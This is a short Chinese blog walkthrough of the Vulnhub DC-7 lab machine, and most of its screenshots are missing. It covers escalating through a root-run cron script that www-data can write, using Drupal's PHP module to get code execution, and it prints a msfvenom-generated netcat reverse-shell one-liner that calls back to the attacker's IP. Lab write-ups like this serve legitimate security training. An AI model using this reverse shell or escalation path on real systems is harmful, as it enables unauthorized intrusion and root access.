Dc:7 Vulnhub Walkthrough

靶机下载地址:

https://www.vulnhub.com/entry/dc-7,356/

主机扫描:

 

http://10.10.202.161/

 

Google搜索下:

 

 

SSH 登录

 

以上分析得出:此脚本是root每三分钟执行一次,并且www-data用户具有写入权限,因此需要想办法获取此权限,进行写入shell反弹即可

 

https://www.digitalocean.com/community/tutorials/a-beginner-s-guide-to-drush-the-drupal-shel

 

 

 

我们点击扩展安装一个PHP的模块

https://www.drupal.org/project/php

 

 

 

 

创建基本网页,选择PHP code

 

 

写入shell

 

本地监听获取shell root权限

等了三分钟没shell过来,竟然没执行,这。。。。 换个方式吧

╰─ msfvenom -p cmd/unix/reverse_netcat lhost=10.10.202.159 lport=6666 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 91 bytes
mkfifo /tmp/iwxe; nc 10.10.202.159 6666 0</tmp/iwxe | /bin/sh >/tmp/iwxe 2>&1; rm /tmp/iwxe

 

 

确认已经写入

 

OVER !

posted @ 2019-09-09 12:03  APT-101  阅读(763)  评论(0编辑  收藏  举报